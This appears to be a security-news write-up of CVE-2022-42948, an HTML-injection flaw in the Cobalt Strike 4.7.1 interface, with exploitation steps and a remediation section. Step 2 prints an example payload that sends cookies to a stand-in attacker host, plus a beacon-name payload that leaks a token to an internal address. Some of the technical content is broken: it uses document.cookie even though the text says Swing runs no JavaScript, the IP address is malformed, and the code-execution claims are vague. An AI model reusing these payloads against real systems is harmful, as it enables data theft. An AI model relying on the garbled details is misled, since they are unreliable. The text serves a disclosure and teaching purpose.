CVE CyberSecurity Database News

CVE-2022-42948 - Code Execution in Cobalt Strike 4.7.1 UI via Broken HTML Escaping

Poster -

Cobalt Strike is a popular threat emulation and command-and-control (C2) tool used by both red teams and, unfortunately, cybercriminals. In October 2022, a serious vulnerability — CVE-2022-42948 — was disclosed. This issue allows code execution in the Cobalt Strike 4.7.1 user interface (UI), all due to improperly escaped HTML displayed inside Java Swing components. Below, we break down the bug, demonstrate how it can be exploited, and suggest ways to fix or avoid it.

The Root Cause: Broken HTML Escaping

Cobalt Strike’s UI uses Java’s Swing library to display various data, including strings that come from remote hosts or even malicious actors. In version 4.7.1, some of these strings are rendered directly into Swing components (like JLabel or JEditorPane) as HTML without proper sanitization or escaping.

Because of this, an attacker who can influence what gets displayed (such as the name of a beacon, a payload description, or other metadata sent to the team server) can inject arbitrary HTML or, in some cases, executable code into the operator's screen.

Step 1: Discovery

Reviewing the release notes for Cobalt Strike 4.7.1, nothing mentions fixing HTML-injection vulnerabilities. That means anything rendered using HTML in the UI should be considered suspect.

Suppose Cobalt Strike expects to display the string "Hello, World!" in an alert or table. If the input is not sanitized, sending <html><b>Hello, World!</b></html> will make the text bold in the UI, demonstrating that HTML is rendered.

Step 2: The Malicious Payload

Java’s Swing components (like JEditorPane) can interpret limited HTML, including images and even certain <object> tags. An attacker can send something like:

<html>
  <body>
    <img src='http://evil-attacker.com/leak?cookie='+document.cookie />
  </body>
</html>

While full JavaScript isn’t supported in standard Swing HTML rendering, clever payloads can still trigger external requests, attempt to abuse local resources, or leverage bugs in specific Swing versions to achieve arbitrary code execution or at least leak sensitive info.

Suppose a red team member receives this beacon name from a "compromised" host

<html>
  <body>
    <img src="http://127...1:808/?token=leaked_token">;
  </body>
</html>

If Cobalt Strike displays this string as is, the UI will attempt to load the image, making a network request to 127...1:808 — a possible internal service. An attacker can use such tricks to enumerate internal networks via file or HTTP requests.

Step 3: Arbitrary Code Execution

Under specific conditions (such as custom extensions or when Cobalt Strike operators use custom plugins), it may be possible to make the UI execute additional code via embedded JavaScript in custom renderers, or through deserialization attacks triggered by HTML payloads. There have been similar issues in the past with Java's Swing HTML handling (see Oracle’s Java Bug Database, e.g., JDK-8006304).

Proof-of-Concept

Below is a hypothetical PoC demonstrating the vulnerability. Assume you have control over a value (e.g., a host or beacon name) rendered in Cobalt Strike's UI.

// Simulate the vulnerable code used by Cobalt Strike 4.7.1
String userValue = "<html><i>You've been pwned!</i></html>";

// No validation or escaping of userValue
JLabel label = new JLabel(userValue);

// If userValue contains HTML, it'll be rendered as-is in the UI
JOptionPane.showMessageDialog(null, label);

If an attacker sends the payload as part of a beacon, the phrase “You’ve been pwned!” appears italicized, confirming that the input was not sanitized.

References

- Official NVD Report: nvd.nist.gov/vuln/detail/CVE-2022-42948
- Cobalt Strike Release Notes
- Swing HTML Handling: Java Tutorial: How to Use HTML in Swing Components
- JDK-8006304: HTML Support in JComponent

Remediation

Cobalt Strike 4.7.2 and later escape all HTML input before rendering. Upgrade immediately.

As a temporary workaround:  
Sanitize all untrusted inputs before sending them to the UI. Use Apache Commons Lang’s StringEscapeUtils.escapeHtml4() or a similar function.

import org.apache.commons.lang.StringEscapeUtils;

String safeInput = StringEscapeUtils.escapeHtml4(userValue);
JLabel label = new JLabel(safeInput);

Takeaway

CVE-2022-42948 underlines a classic lesson: Never blindly render user-supplied data as HTML in GUI components. Even tools designed for offensive security can themselves become the victims of exploitation, highlighting the importance of secure coding practices everywhere.

Stay safe. Update your tools. Sanitize your input.

*This analysis is exclusive and written to simplify the understanding of a subtle but powerful UI bug in a prominent infosec tool. For hands-on labs or more details, check the links above and always test in a safe environment.*

Timeline

Published on: 03/24/2023 14:15:00 UTC
Last modified on: 03/30/2023 18:30:00 UTC